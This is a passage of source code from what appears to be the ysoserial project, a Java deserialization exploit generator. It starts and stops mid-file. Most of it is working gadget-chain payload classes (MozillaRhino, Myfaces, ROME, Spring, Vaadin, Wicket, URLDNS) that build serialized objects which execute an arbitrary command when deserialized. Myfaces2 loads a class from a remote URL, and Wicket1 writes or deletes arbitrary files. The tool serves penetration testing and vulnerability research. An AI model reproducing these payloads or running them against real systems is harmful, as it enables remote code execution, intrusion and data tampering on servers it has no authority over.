(Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); PriorityQueue priorityQueue = new PriorityQueue(2, comparator); Object[] queue = new Object[] {1,1}; Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "size", 2); return priorityQueue; } public static void main(final String[] args) throws Exception { PayloadRunner.run(Jython1.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/MozillaRhino1.java ================================================ package ysoserial.payloads; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.mozilla.javascript.*; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; /* by @matthias_kaiser */ @SuppressWarnings({"rawtypes", "unchecked"}) @PayloadTest( precondition = "isApplicableJavaVersion") @Dependencies({"rhino:js:1.7R2"}) @Authors({ Authors.MATTHIASKAISER }) public class MozillaRhino1 implements ObjectPayload { public Object getObject(final String command) throws Exception { Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); Reflections.setAccessible(nativeErrorConstructor); IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); Context context = Context.enter(); NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); Method enterMethod = Context.class.getDeclaredMethod("enter"); NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); idScriptableObject.setGetterOrSetter("name", 0, method, false); Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); Reflections.setAccessible(getSlot); Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); Field getter = slot.getClass().getDeclaredField("getter"); Reflections.setAccessible(getter); Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); Reflections.setAccessible(memberboxClassConstructor); Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); getter.set(slot, memberboxes); NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class); idScriptableObject.setPrototype(nativeObject); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); Reflections.setAccessible(valField); valField.set(badAttributeValueExpException, idScriptableObject); return badAttributeValueExpException; } public static void main(final String[] args) throws Exception { PayloadRunner.run(MozillaRhino1.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isBadAttrValExcReadObj(); } } ================================================ FILE: src/main/java/ysoserial/payloads/MozillaRhino2.java ================================================ package ysoserial.payloads; import org.mozilla.javascript.*; import org.mozilla.javascript.tools.shell.Environment; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Method; import java.util.Hashtable; import java.util.Map; /* Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject Chain: NativeJavaObject.readObject() JavaAdapter.readAdapterObject() ObjectInputStream.readObject() ... NativeJavaObject.readObject() JavaAdapter.readAdapterObject() JavaAdapter.getAdapterClass() JavaAdapter.getObjectFunctionNames() ScriptableObject.getProperty() ScriptableObject.get() ScriptableObject.getImpl() Method.invoke() Context.enter() JavaAdapter.getAdapterClass() JavaAdapter.getObjectFunctionNames() ScriptableObject.getProperty() NativeJavaArray.get() NativeJavaObject.get() JavaMembers.get() Method.invoke() TemplatesImpl.getOutputProperties() ... by @_tint0 */ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"rhino:js:1.7R2"}) @Authors({ Authors.TINT0 }) public class MozillaRhino2 implements ObjectPayload { public Object getObject( String command) throws Exception { ScriptableObject dummyScope = new Environment(); Map associatedValues = new Hashtable(); associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); Object initContextMemberBox = Reflections.createWithConstructor( Class.forName("org.mozilla.javascript.MemberBox"), (Class)Class.forName("org.mozilla.javascript.MemberBox"), new Class[] {Method.class}, new Object[] {Context.class.getMethod("enter")}); ScriptableObject initContextScriptableObject = new Environment(); Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); Reflections.setAccessible(makeSlot); Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4); Reflections.setFieldValue(slot, "getter", initContextMemberBox); NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true); Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); ScriptableObject scriptableObject = new Environment(); scriptableObject.setParentScope(initContextNativeJavaObject); makeSlot.invoke(scriptableObject, "outputProperties", 0, 2); NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope); Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command)); nativeJavaArray.setPrototype(scriptableObject); Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject); NativeJavaObject nativeJavaObject = new NativeJavaObject(); Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope); Reflections.setFieldValue(nativeJavaObject, "isAdapter", true); Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); return nativeJavaObject; } public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException { out.writeObject("java.lang.Object"); out.writeObject(new String[0]); out.writeObject(javaObject); } public static void main(final String[] args) throws Exception { PayloadRunner.run(MozillaRhino2.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/Myfaces1.java ================================================ package ysoserial.payloads; import javax.el.ELContext; import javax.el.ExpressionFactory; import javax.el.ValueExpression; import javax.servlet.ServletContext; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import org.apache.myfaces.context.servlet.FacesContextImpl; import org.apache.myfaces.context.servlet.FacesContextImplBase; import org.apache.myfaces.el.CompositeELResolver; import org.apache.myfaces.el.unified.FacesELContext; import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /** * * ValueExpressionImpl.getValue(ELContext) * ValueExpressionMethodExpression.getMethodExpression(ELContext) * ValueExpressionMethodExpression.getMethodExpression() * ValueExpressionMethodExpression.hashCode() * HashMap.hash(Object) * HashMap.readObject(ObjectInputStream) * * Arguments: * - an EL expression to execute * * Requires: * - MyFaces * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) * * @author mbechler */ @PayloadTest(skip="Requires running MyFaces, no direct execution") @Authors({ Authors.MBECHLER }) public class Myfaces1 implements ObjectPayload, DynamicDependencies { public Object getObject ( String command ) throws Exception { return makeExpressionPayload(command); } public static String[] getDependencies () { if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { return new String[] { "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", "org.mortbay.jasper:apache-el:8.0.27", "javax.servlet:javax.servlet-api:3.1.0", // deps for mocking the FacesContext "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" }; } else if ( "juel".equals(System.getProperty("el")) ) { return new String[] { "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", "javax.servlet:javax.servlet-api:3.1.0", // deps for mocking the FacesContext "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" }; } throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); } public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); return Gadgets.makeMap(e2, e); } public static void main ( final String[] args ) throws Exception { PayloadRunner.run(Myfaces1.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/Myfaces2.java ================================================ package ysoserial.payloads; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; /** * * ValueExpressionImpl.getValue(ELContext) * ValueExpressionMethodExpression.getMethodExpression(ELContext) * ValueExpressionMethodExpression.getMethodExpression() * ValueExpressionMethodExpression.hashCode() * HashMap.hash(Object) * HashMap.readObject(ObjectInputStream) * * Arguments: * - base_url:classname * * Yields: * - Instantiation of remotely loaded class * * Requires: * - MyFaces * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) * * @author mbechler */ @PayloadTest(harness="ysoserial.test.payloads.MyfacesTest", precondition = "isApplicableJavaVersion") @Authors({ Authors.MBECHLER }) public class Myfaces2 implements ObjectPayload, DynamicDependencies { public static boolean isApplicableJavaVersion() { return JavaVersion.isAtLeast(7); } public static String[] getDependencies () { return Myfaces1.getDependencies(); } public Object getObject ( String command ) throws Exception { int sep = command.lastIndexOf(':'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: :"); } String url = command.substring(0, sep); String className = command.substring(sep + 1); // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; // if we add fewer than the actual classloaders we end up with a null entry for ( int i = 0; i < 100; i++ ) { expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; } expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; return Myfaces1.makeExpressionPayload(expr); } public static void main ( final String[] args ) throws Exception { PayloadRunner.run(Myfaces2.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/ObjectPayload.java ================================================ package ysoserial.payloads; import java.lang.reflect.Modifier; import java.util.Iterator; import java.util.Set; import org.reflections.Reflections; import ysoserial.GeneratePayload; @SuppressWarnings ( "rawtypes" ) public interface ObjectPayload { /* * return armed payload object to be serialized that will execute specified * command on deserialization */ public T getObject ( String command ) throws Exception; public static class Utils { // get payload classes by classpath scanning public static Set> getPayloadClasses () { final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); for ( Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { Class pc = iterator.next(); if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { iterator.remove(); } } return payloadTypes; } @SuppressWarnings ( "unchecked" ) public static Class getPayloadClass ( final String className ) { Class clazz = null; try { clazz = (Class) Class.forName(className); } catch ( Exception e1 ) {} if ( clazz == null ) { try { return clazz = (Class) Class .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); } catch ( Exception e2 ) {} } if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { clazz = null; } return clazz; } public static Object makePayloadObject ( String payloadType, String payloadArg ) { final Class payloadClass = getPayloadClass(payloadType); if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); } final Object payloadObject; try { final ObjectPayload payload = payloadClass.newInstance(); payloadObject = payload.getObject(payloadArg); } catch ( Exception e ) { throw new IllegalArgumentException("Failed to construct payload", e); } return payloadObject; } @SuppressWarnings ( "unchecked" ) public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { if ( payload instanceof ReleaseableObjectPayload ) { ( (ReleaseableObjectPayload) payload ).release(object); } } public static void releasePayload ( String payloadType, Object payloadObject ) { final Class payloadClass = getPayloadClass(payloadType); if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); } try { final ObjectPayload payload = payloadClass.newInstance(); releasePayload(payload, payloadObject); } catch ( Exception e ) { e.printStackTrace(); } } } } ================================================ FILE: src/main/java/ysoserial/payloads/ROME.java ================================================ package ysoserial.payloads; import javax.xml.transform.Templates; import com.sun.syndication.feed.impl.ObjectBean; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; /** * * TemplatesImpl.getOutputProperties() * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) * NativeMethodAccessorImpl.invoke(Object, Object[]) * DelegatingMethodAccessorImpl.invoke(Object, Object[]) * Method.invoke(Object, Object...) * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap.hash(Object) * HashMap.readObject(ObjectInputStream) * * @author mbechler * */ @Dependencies("rome:rome:1.0") @Authors({ Authors.MBECHLER }) public class ROME implements ObjectPayload { public Object getObject ( String command ) throws Exception { Object o = Gadgets.createTemplatesImpl(command); ObjectBean delegate = new ObjectBean(Templates.class, o); ObjectBean root = new ObjectBean(ObjectBean.class, delegate); return Gadgets.makeMap(root, root); } public static void main ( final String[] args ) throws Exception { PayloadRunner.run(ROME.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java ================================================ package ysoserial.payloads; /** * @author mbechler * */ public interface ReleaseableObjectPayload extends ObjectPayload { void release( T obj ) throws Exception; } ================================================ FILE: src/main/java/ysoserial/payloads/Spring1.java ================================================ package ysoserial.payloads; import static java.lang.Class.forName; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Type; import javax.xml.transform.Templates; import org.springframework.beans.factory.ObjectFactory; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /* Gadget chain: ObjectInputStream.readObject() SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() SerializableTypeWrapper.TypeProvider(Proxy).getType() AnnotationInvocationHandler.invoke() HashMap.get() ReflectionUtils.findMethod() SerializableTypeWrapper.TypeProvider(Proxy).getType() AnnotationInvocationHandler.invoke() HashMap.get() ReflectionUtils.invokeMethod() Method.invoke() Templates(Proxy).newTransformer() AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() ObjectFactory(Proxy).getObject() AnnotationInvocationHandler.invoke() HashMap.get() Method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TemplatesImpl.TransletClassLoader.defineClass() Pwner*(Javassist-generated). Runtime.exec() */ @SuppressWarnings({"rawtypes"}) @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) @Authors({ Authors.FROHOFF }) public class Spring1 extends PayloadRunner implements ObjectPayload { public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); final ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") .newInstance(objectFactoryProxy), Type.class, Templates.class); final Object typeProviderProxy = Gadgets.createMemoitizedProxy( Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0); Reflections.setFieldValue(mitp, "methodName", "newTransformer"); return mitp; } public static void main(final String[] args) throws Exception { PayloadRunner.run(Spring1.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } } ================================================ FILE: src/main/java/ysoserial/payloads/Spring2.java ================================================ package ysoserial.payloads; import static java.lang.Class.forName; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Type; import javax.xml.transform.Templates; import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.target.SingletonTargetSource; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /** * * Just a PoC to proof that the ObjectFactory stuff is not the real problem. * * Gadget chain: * TemplatesImpl.newTransformer() * Method.invoke(Object, Object...) * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) * JdkDynamicAopProxy.invoke(Object, Method, Object[]) * $Proxy0.newTransformer() * Method.invoke(Object, Object...) * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) * * @author mbechler */ @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies ( { "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", // test deps "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" } ) @Authors({ Authors.MBECHLER }) public class Spring2 extends PayloadRunner implements ObjectPayload { public Object getObject ( final String command ) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); AdvisedSupport as = new AdvisedSupport(); as.setTargetSource(new SingletonTargetSource(templates)); final Type typeTemplatesProxy = Gadgets.createProxy( (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), Type.class, Templates.class); final Object typeProviderProxy = Gadgets.createMemoitizedProxy( Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); Reflections.setFieldValue(mitp, "provider", typeProviderProxy); Reflections.setFieldValue(mitp, "methodName", "newTransformer"); return mitp; } public static void main ( final String[] args ) throws Exception { PayloadRunner.run(Spring2.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } } ================================================ FILE: src/main/java/ysoserial/payloads/URLDNS.java ================================================ package ysoserial.payloads; import java.io.IOException; import java.net.InetAddress; import java.net.URLConnection; import java.net.URLStreamHandler; import java.util.HashMap; import java.net.URL; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /** * A blog post with more details about this gadget chain is at the url below: * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ * * This was inspired by Philippe Arteau @h3xstream, who wrote a blog * posting describing how he modified the Java Commons Collections gadget * in ysoserial to open a URL. This takes the same idea, but eliminates * the dependency on Commons Collections and does a DNS lookup with just * standard JDK classes. * * The Java URL class has an interesting property on its equals and * hashCode methods. The URL class will, as a side effect, do a DNS lookup * during a comparison (either equals or hashCode). * * As part of deserialization, HashMap calls hashCode on each key that it * deserializes, so using a Java URL object as a serialized key allows * it to trigger a DNS lookup. * * Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode() * * */ @SuppressWarnings({ "rawtypes", "unchecked" }) @PayloadTest(skip = "true") @Dependencies() @Authors({ Authors.GEBL }) public class URLDNS implements ObjectPayload { public Object getObject(final String url) throws Exception { //Avoid DNS resolution during payload creation //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. return ht; } public static void main(final String[] args) throws Exception { PayloadRunner.run(URLDNS.class, args); } /** *

This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior * using the serialized object.

* * Potential false negative: *

If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the * second resolution.

*/ static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } } ================================================ FILE: src/main/java/ysoserial/payloads/Vaadin1.java ================================================ package ysoserial.payloads; import javax.management.BadAttributeValueExpException; import com.vaadin.data.util.NestedMethodProperty; import com.vaadin.data.util.PropertysetItem; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" }) @PayloadTest ( precondition = "isApplicableJavaVersion") @Authors({ Authors.KULLRICH }) public class Vaadin1 implements ObjectPayload { // +-------------------------------------------------+ // | | // | BadAttributeValueExpException | // | | // | val ==> PropertysetItem | // | | // | readObject() ==> val.toString() | // | + | // +----------|--------------------------------------+ // | // | // | // +----|-----------------------------------------+ // | v | // | PropertysetItem | // | | // | toString () => getPropertyId().getValue () | // | + | // +---------------------------------------|------+ // | // +-----------------------------+ // | // +-----|----------------------------------------------+ // | v | // | NestedMethodProperty | // | | // | getValue() => java.lang.reflect.Method.invoke () | // | | | // +-------------------------------------------|--------+ // | // +-----------------------------------+ // | // +---|--------------------------------------------+ // | v | // | TemplatesImpl.getOutputProperties() | // | | // +------------------------------------------------+ @Override public Object getObject (String command) throws Exception { Object templ = Gadgets.createTemplatesImpl (command); PropertysetItem pItem = new PropertysetItem (); NestedMethodProperty nmprop = new NestedMethodProperty (templ, "outputProperties"); pItem.addItemProperty ("outputProperties", nmprop); BadAttributeValueExpException b = new BadAttributeValueExpException (""); Reflections.setFieldValue (b, "val", pItem); return b; } public static boolean isApplicableJavaVersion() { return JavaVersion.isBadAttrValExcReadObj(); } public static void main(final String[] args) throws Exception { PayloadRunner.run(Vaadin1.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/Wicket1.java ================================================ package ysoserial.payloads; import java.io.File; import java.io.IOException; import java.io.OutputStream; import java.util.Arrays; import org.apache.commons.codec.binary.Base64; import org.apache.wicket.util.upload.DiskFileItem; import org.apache.wicket.util.io.DeferredFileOutputStream; import org.apache.wicket.util.io.ThresholdingOutputStream; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /** * This gadget is almost identical to FileUpload1 since it appears * that Apache Wicket copied a version of Apache Commons DiskFileItem * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That * means that if the target is running less than Oracle Java 7 update 40 * then the NULL byte attack is viable. Otherwise, copy and move attacks * always work. * * This attack is valid for the 1.x and 6.x lines of Apache Wicket but * was fixed in 1.5.16 and 6.24.0 (released July 2016). * * * Arguments: * - copyAndDelete;sourceFile;destDir * - write;destDir;ascii-data * - writeB64;destDir;base64-data * - writeOld;destFile;ascii-data * - writeOldB64;destFile;base64-data * * Example: * Wicket1 "write;/tmp;blue lobster" * * Result: * $ ls -l /tmp/ * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp * blue lobster */ @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition") @Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"}) @Authors({ Authors.JACOBAINES }) public class Wicket1 implements ReleaseableObjectPayload { public DiskFileItem getObject(String command) throws Exception { String[] parts = command.split(";"); if (parts.length != 3) { throw new IllegalArgumentException("Bad command format."); } if ("copyAndDelete".equals(parts[0])) { return copyAndDelete(parts[1], parts[2]); } else if ("write".equals(parts[0])) { return write(parts[1], parts[2].getBytes("US-ASCII")); } else if ("writeB64".equals(parts[0]) ) { return write(parts[1], Base64.decodeBase64(parts[2])); } else if ("writeOld".equals(parts[0]) ) { return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII")); } else if ("writeOldB64".equals(parts[0]) ) { return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); } throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); } public void release(DiskFileItem obj) throws Exception { } private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { return makePayload(0, copyTo, copyAndDelete, new byte[1]); } // writes data to a random filename (update__.tmp) private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { return makePayload(data.length + 1, dir, dir + "/whatever", data); } // writes data to an arbitrary file private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception { return makePayload(data.length + 1, file + "\0", file, data); } private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { // if thresh < written length, delete outputFile after copying to repository temp file // otherwise write the contents to repository temp file File repository = new File(repoPath); DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); File outputFile = new File(filePath); DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); os.write(data); Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); Reflections.setFieldValue(diskFileItem, "dfos", dfos); Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); return diskFileItem; } public static void main ( final String[] args ) throws Exception { PayloadRunner.run(FileUpload1.class, args); } } ================================================ FILE: src/main/java/ysoserial/payloads/annotation/Authors.java ================================================ package ysoserial.payloads.annotation; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; import java.lang.reflect.AnnotatedElement; @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) public @interface Authors { String FROHOFF = "frohoff"; String PWNTESTER = "pwntester"; String CSCHNEIDER4711 = "cschneider4711"; String MBECHLER = "mbechler"; String JACKOFMOSTTRADES = "JackOfMostTrades"; String MATTHIASKAISER = "matthias_kaiser"; String GEBL = "gebl" ; String JACOBAINES = "jacob-baines"; String JASINNER = "jasinner"; String KULLRICH = "kai_ullrich"; String TINT0 = "_tint0"; String SCRISTALLI = "scristalli"; String HANYRAX = "hanyrax"; String EDOARDOVIGNATI = "EdoardoVignati"; String JANG = "Jang"; String ARTSPLOIT = "artsploit"; String[] value() default {}; public static class Utils { public static String[] getAuthors(AnnotatedElement annotated) { Authors authors = annotated.getAnnotation(Authors.class); if (authors != null && authors.value() != null) { return authors.value(); } else { return new String[0]; } } } } ================================================ FILE: src/main/java/ysoserial/payloads/annotation/Dependencies.java ================================================ package ysoserial.payloads.annotation; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; import java.lang.reflect.AnnotatedElement; @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) public @interface Dependencies { String[] value() default {}; public static class Utils { public static String[] getDependencies(AnnotatedElement annotated) { Dependencies deps = annotated.getAnnotation(Dependencies.class); if (deps != null && deps.value() != null) { return deps.value(); } else { return new String[0]; } } public static String[] getDependenciesSimple(AnnotatedElement annotated) { String[] deps = getDependencies(annotated); String[] simple = new String[deps.length]; for (int i = 0; i < simple.length; i++) { 